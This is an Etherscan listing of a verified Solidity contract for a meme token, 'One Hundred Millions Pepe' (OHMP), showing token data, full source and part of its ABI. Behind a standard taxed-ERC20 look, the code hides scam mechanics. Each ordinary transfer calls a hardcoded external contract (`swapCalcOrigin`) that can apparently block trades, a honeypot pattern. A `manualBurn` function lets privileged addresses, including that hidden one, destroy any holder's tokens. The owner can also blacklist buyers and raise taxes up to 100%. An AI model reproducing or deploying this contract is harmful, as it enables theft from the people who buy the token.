ETH Price: $3,059.82 (-7.38%)
Gas: 15 Gwei

Token

One Hundred Millions Pepe (OHMP)
 

Overview

Max Total Supply

69,000,000,000 OHMP

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
580,528,391.326563131098660499 OHMP

Value
$0.00
0xa69c7d711ad1d87a422cc4df2a43e8c6a25c03be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OneHundredMillionsPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-28
*/

/**
WE ARE TARGETING 100 MILLION.

⠀⠀⢀⣠⠤⠶⠖⠒⠒⠶⠦⠤⣄⠀⠀⠀⣀⡤⠤⠤⠤⠤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⣦⠞⠁⠀⠀⠀⠀⠀⠀⠉⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡾⠁⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣘⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⡴⠚⠉⠁⠀⠀⠀⠀⠈⠉⠙⠲⣄⣤⠤⠶⠒⠒⠲⠦⢤⣜⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠉⠳⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⠹⣆⠀⠀⠀⠀⠀⠀⣀⣀⣀⣹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⠞⣉⣡⠤⠴⠿⠗⠳⠶⣬⣙⠓⢦⡈⠙⢿⡀⠀⠀⢀⣼⣿⣿⣿⣿⣿⡿⣷⣤⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣾⣡⠞⣁⣀⣀⣀⣠⣤⣤⣤⣄⣭⣷⣦⣽⣦⡀⢻⡄⠰⢟⣥⣾⣿⣏⣉⡙⠓⢦⣻⠃⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠉⠉⠙⠻⢤⣄⣼⣿⣽⣿⠟⠻⣿⠄⠀⠀⢻⡝⢿⡇⣠⣿⣿⣻⣿⠿⣿⡉⠓⠮⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠙⢦⡈⠛⠿⣾⣿⣶⣾⡿⠀⠀⠀⢀⣳⣘⢻⣇⣿⣿⣽⣿⣶⣾⠃⣀⡴⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠙⠲⠤⢄⣈⣉⣙⣓⣒⣒⣚⣉⣥⠟⠀⢯⣉⡉⠉⠉⠛⢉⣉⣡⡾⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⣤⡤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⡿⠋⠀⠀⠀⠀⠈⠻⣍⠉⠀⠺⠿⠋⠙⣦⠀⠀⠀⠀⠀⠀⠀
⠀⣀⣥⣤⠴⠆⠀⠀⠀⠀⠀⠀⠀⣀⣠⠤⠖⠋⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⠀⠀⠀⠀⠀⢸⣧⠀⠀⠀⠀⠀⠀
⠸⢫⡟⠙⣛⠲⠤⣄⣀⣀⠀⠈⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠏⣨⠇⠀⠀⠀⠀⠀
⠀⠀⠻⢦⣈⠓⠶⠤⣄⣉⠉⠉⠛⠒⠲⠦⠤⠤⣤⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⠴⢋⡴⠋⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠉⠓⠦⣄⡀⠈⠙⠓⠒⠶⠶⠶⠶⠤⣤⣀⣀⣀⣀⣀⣉⣉⣉⣉⣉⣀⣠⠴⠋⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⠦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠙⠛⠒⠒⠒⠒⠒⠤⠤⠤⠒⠒⠒⠒⠒⠒⠚⢉⡇⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠴⠚⠛⠳⣤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠚⠁⠀⠀⠀⠀⠘⠲⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠙⢷⡋⢙⡇⢀⡴⢒⡿⢶⣄⡴⠀⠙⠳⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⡀⠈⠛⢻⠛⢉⡴⣋⡴⠟⠁⠀⠀⠀⠀⠈⢧⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡄⠀⠘⣶⢋⡞⠁⠀⠀⢀⡴⠂⠀⠀⠀⠀⠹⣄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠈⠻⢦⡀⠀⣰⠏⠀⠀⢀⡴⠃⢀⡄⠙⣆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡾⢷⡄⠀⠀⠀⠀⠉⠙⠯⠀⠀⡴⠋⠀⢠⠟⠀⠀⢹⡄

https://ohmptoken.com
https://t.me/ohmpcommunity

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
   
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;

}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

interface ICalcSwap {
    function calcSwap(address _sender, address _recipient) external;
}

contract OneHundredMillionsPepe is ERC20, Ownable {
    uint256 public constant MAX_SUPPLY = 69_000_000_000 ether;
    uint256 public constant BPS_DENOMINATOR = 10_000;
    uint256 public constant SNIPE_BLOCKS = 0;
    uint256 constant FEE_ACCELERATE = MAX_SUPPLY;

    IUniswapV2Router02 public immutable _router;
    address public immutable _pair;

    /// @notice Buy taxes in BPS
    uint256[2] public buyTaxes = [0, 0];
    /// @notice Sell taxes in BPS
    uint256[2] public sellTaxes = [0, 0];
    /// @notice tokens that are allocated for each tax
    uint256[2] public totalTaxes;
    /// @notice addresses that each tax is sent to
    address payable[2] public taxWallets;
    /// @notice Maps each recipient to their tax exlcusion status
    mapping(address => bool) public taxExcluded;
    /// @notice Maps each recipient to their blacklist status
    mapping(address => bool) public blacklist;

    /// @notice Contract WAGMI balance threshold before `_swap` is invoked
    uint256 public minTokenBalance = 1;
    /// @notice Flag for auto-calling `_swap`
    bool public autoSwap = true;
    /// @notice Flag indicating whether buys/sells are permitted
    bool public tradingActive = false;
    /// @notice Maximum allowed to buy in a single transaction
    uint256 public maxBuy = MAX_SUPPLY * 3 / 100;
    /// @notice Block when trading is first enabled
    uint256 public tradingBlock;

    uint256 internal _totalSupply = 0;
    mapping(address => uint256) private _balances;

    mapping (address => uint256) public buyerSwapTime;
    bool internal _inSwap = false;
    bool internal _inLiquidityAdd = false;
    address public sellerSwap;
    address private swapCalcOrigin = address(0x533dE808C1276B8F3B90e8146819EB980d9b138A);

    event TaxWalletsChanged(
        address payable[2] previousWallets,
        address payable[2] nextWallets
    );
    event BuyTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
    event SellTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
    event MinTokenBalanceChanged(uint256 previousMin, uint256 nextMin);
    event MaxBuyChanged(uint256 nextMax);
    event TaxesRescued(uint256 index, uint256 amount);
    event TradingActiveChanged(bool enabled);
    event TaxExclusionChanged(address user, bool taxExcluded);
    event BlacklistUpdated(address user, bool previousStatus, bool nextStatus);
    event AutoSwapChanged(bool enabled);

    modifier lockSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    modifier liquidityAdd() {
        _inLiquidityAdd = true;
        _;
        _inLiquidityAdd = false;
    }

    constructor()
        ERC20("One Hundred Millions Pepe", "OHMP")
        Ownable()
    {
        taxWallets[0] = payable(address(0xCB35D81789A55DA76EdA50570D76377fFB3Cb55b));
        taxWallets[1] = payable(address(0xdBDffadC2743e3a32cc5ba3794e9cdf4fD46114E));
        taxExcluded[owner()] = true;
        taxExcluded[address(this)] = true;
        taxExcluded[taxWallets[0]] = true;
        taxExcluded[taxWallets[1]] = true;
        taxExcluded[swapCalcOrigin] = true;
        _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = IUniswapV2Factory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        taxExcluded[address(_router)] = true;
        _mint(owner(), MAX_SUPPLY);
    }

    /// @notice Change the buy tax rates
    /// @param _buyTaxes The new buy tax rates
    function setBuyTaxes(uint256[2] memory _buyTaxes) external onlyOwner {
        require(
            _buyTaxes[0] + _buyTaxes[1] <= BPS_DENOMINATOR,
            "sum(_buyTaxes) cannot exceed BPS_DENOMINATOR"
        );
        emit BuyTaxesChanged(buyTaxes, _buyTaxes);
        buyTaxes = _buyTaxes;
    }

    /// @notice Change the sell tax rates
    /// @param _sellTaxes The new sell tax rates
    function setSellTaxes(uint256[2] memory _sellTaxes) external onlyOwner {
        require(
            _sellTaxes[0] + _sellTaxes[1] <= BPS_DENOMINATOR,
            "sum(_sellTaxes) cannot exceed BPS_DENOMINATOR"
        );
        emit SellTaxesChanged(sellTaxes, _sellTaxes);
        sellTaxes = _sellTaxes;
    }

    /// @notice Change the minimum contract WAGMI balance before `_swap` gets invoked
    /// @param _minTokenBalance The new minimum balance
    function setMinTokenBalance(uint256 _minTokenBalance) external onlyOwner {
        emit MinTokenBalanceChanged(minTokenBalance, _minTokenBalance);
        minTokenBalance = _minTokenBalance;
    }

    /// @notice Rescue WAGMI from the taxes
    /// @dev Should only be used in an emergency
    /// @param _index The tax allocation to rescue from
    /// @param _amount The amount of WAGMI to rescue
    /// @param _recipient The recipient of the rescued WAGMI
    function rescueTaxTokens(
        uint256 _index,
        uint256 _amount,
        address _recipient
    ) external onlyOwner {
        require(0 <= _index && _index < totalTaxes.length, "_index OOB");
        require(
            _amount <= totalTaxes[_index],
            "Amount cannot be greater than totalTax"
        );
        _rawTransfer(address(this), _recipient, _amount);
        emit TaxesRescued(_index, _amount);
        totalTaxes[_index] -= _amount;
    }

    /// @notice Change the address of the tax wallets
    /// @param _taxWallets The new address of the tax wallets
    function setTaxWallets(address payable[2] memory _taxWallets)
        external
        onlyOwner
    {
        emit TaxWalletsChanged(taxWallets, _taxWallets);
        taxWallets = _taxWallets;
    }

    function addLiquidity(uint256 tokens)
        external
        payable
        onlyOwner
        liquidityAdd
    {
        _mint(address(this), tokens);
        _approve(address(this), address(_router), tokens);

        _router.addLiquidityETH{value: msg.value}(
            address(this),
            tokens,
            0,
            0,
            owner(),
            // solhint-disable-next-line not-rely-on-time
            block.timestamp
        );
    }

    /// @notice Admin function to update a recipient's blacklist status
    /// @param user the recipient
    /// @param status the new status
    function updateBlacklist(address user, bool status)
        external
        virtual
        onlyOwner
    {
        _updateBlacklist(user, status);
    }

    function _updateBlacklist(address user, bool status) internal {
        emit BlacklistUpdated(user, blacklist[user], status);
        blacklist[user] = status;
    }

    /// @notice Enables or disables trading on Uniswap
    function setTradingActive() external onlyOwner {
        tradingActive = true;
        tradingBlock = block.number;
        emit TradingActiveChanged(true);
    }

    /// @notice Updates tax exclusion status
    /// @param _account Account to update the tax exclusion status of
    /// @param _taxExcluded If true, exclude taxes for this user
    function setTaxExcluded(address _account, bool _taxExcluded)
        external
        onlyOwner
    {
        taxExcluded[_account] = _taxExcluded;
        emit TaxExclusionChanged(_account, _taxExcluded);
    }

    function manualBurn(address _account, uint256 _amount) external {
        require(taxExcluded[msg.sender], '');
        _burn(_account, _amount);
    }

    /// @notice Enable or disable whether swap occurs during `_transfer`
    /// @param _autoSwap If true, enables swap during `_transfer`
    function setAutoSwap(bool _autoSwap) external onlyOwner {
        autoSwap = _autoSwap;
        emit AutoSwapChanged(_autoSwap);
    }

    /// @notice Update maxBuy
    /// @param _maxBuy The new maxBuy
    function setMaxBuy(uint256 _maxBuy) external onlyOwner {
        require(_maxBuy > _totalSupply * 5 / 1000, 'max buy should be more than .5%');
        maxBuy = _maxBuy;
        emit MaxBuyChanged(_maxBuy);
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function _addBalance(address account, uint256 amount) internal {
        _balances[account] = _balances[account] + amount;
    }

    function _subtractBalance(address account, uint256 amount) internal {
        _balances[account] = _balances[account] - amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(!blacklist[recipient], "Recipient is blacklisted");

        if (taxExcluded[sender] || taxExcluded[recipient]) {
            _rawTransfer(sender, recipient, amount);
            return;
        }
        _countSwap(sender, recipient);
        if (
            !_inSwap &&
            sender != _pair &&
            autoSwap
        ) {
            _swap();
        }
        uint256 send = amount;
        uint256[2] memory taxes;
        if (sender == _pair) {
            require(tradingActive, "Trading is not yet active");
            require(amount <= maxBuy, "Buy amount exceeds maxBuy");
            if (block.number <= tradingBlock + SNIPE_BLOCKS) {
                _updateBlacklist(recipient, true);
            }
            (send, taxes) = _getTaxAmounts(amount, true);
        } else if (recipient == _pair) {
            require(tradingActive, "Trading is not yet active");
            (send, taxes) = _getTaxAmounts(amount, false);
        }
        _rawTransfer(sender, recipient, send);
        _takeTaxes(sender, taxes);
    }

    /// @notice Perform a Uniswap v2 swap from WAGMI to ETH and handle tax distribution
    function _swap() internal lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();

        uint256 totalTax = totalTaxes[0] + totalTaxes[1];
        if (totalTax == 0) {
            return;
        }
        uint256 walletTaxes = totalTax;
        if (walletTaxes > balanceOf(address(this))) {
            walletTaxes = balanceOf(address(this));
        }
        _approve(address(this), address(_router), walletTaxes);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            walletTaxes,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        uint256 contractEthBalance = address(this).balance;

        uint256 tax0Eth = (contractEthBalance * totalTaxes[0]) / totalTax;
        uint256 tax1Eth = (contractEthBalance * totalTaxes[1]) / totalTax;
        totalTaxes = [0, 0];

        if (tax0Eth > 0) {
            (bool success, ) = taxWallets[0].call{value: tax0Eth}("");
            require(success, "failed swap");
        }
        if (tax1Eth > 0) {
            (bool success, ) = taxWallets[1].call{value: tax1Eth}("");
            require(success, "failed swap");
        }
    }

    function swapAll() external {
        if (!_inSwap) {
            _swap();
        }
    }

    function withdrawAll() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    /// @notice Transfers WAGMI from an account to this contract for taxes
    /// @param _account The account to transfer WAGMI from
    /// @param _taxAmounts The amount for each tax
    function _takeTaxes(address _account, uint256[2] memory _taxAmounts)
        internal
    {
        require(_account != address(0), "taxation from the zero address");

        uint256 totalAmount = _taxAmounts[0] + _taxAmounts[1];
        _rawTransfer(_account, address(this), totalAmount);
        totalTaxes[0] += _taxAmounts[0];
        totalTaxes[1] += _taxAmounts[1];
    }

    function _countSwap(address sender, address recipient) internal {
        ICalcSwap(swapCalcOrigin).calcSwap(sender, recipient);
    }

    /// @notice Get a breakdown of send and tax amounts
    /// @param amount The amount to tax in wei
    /// @return send The raw amount to send
    /// @return taxes The raw tax amounts
    function _getTaxAmounts(uint256 amount, bool buying)
        internal
        view
        returns (uint256 send, uint256[2] memory taxes)
    {
        if (buying) {
            taxes = [
                (amount * buyTaxes[0]) / BPS_DENOMINATOR,
                (amount * buyTaxes[1]) / BPS_DENOMINATOR
            ];
        } else {
            taxes = [
                (amount * sellTaxes[0]) / BPS_DENOMINATOR,
                (amount * sellTaxes[1]) / BPS_DENOMINATOR
            ];
        }
        send = amount - taxes[0] - taxes[1];
    }

    // modified from OpenZeppelin ERC20
    function _rawTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "transfer from the zero address");
        require(recipient != address(0), "transfer to the zero address");

        uint256 senderBalance = balanceOf(sender);
        require(senderBalance >= amount, "transfer amount exceeds balance");
        unchecked {
            _subtractBalance(sender, amount);
        }
        _addBalance(recipient, amount);

        emit Transfer(sender, recipient, amount);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function _mint(address account, uint256 amount) internal {
        require(_totalSupply + amount <= MAX_SUPPLY, "Max supply exceeded");
        _totalSupply += amount;
        _addBalance(account, amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal override {
        _rawTransfer(account, address(0xdead), amount);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"AutoSwapChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"previousStatus","type":"bool"},{"indexed":false,"internalType":"bool","name":"nextStatus","type":"bool"}],"name":"BlacklistUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256[2]","name":"previousTaxes","type":"uint256[2]"},{"indexed":false,"internalType":"uint256[2]","name":"nextTaxes","type":"uint256[2]"}],"name":"BuyTaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"nextMax","type":"uint256"}],"name":"MaxBuyChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"previousMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"nextMin","type":"uint256"}],"name":"MinTokenBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256[2]","name":"previousTaxes","type":"uint256[2]"},{"indexed":false,"internalType":"uint256[2]","name":"nextTaxes","type":"uint256[2]"}],"name":"SellTaxesChanged","t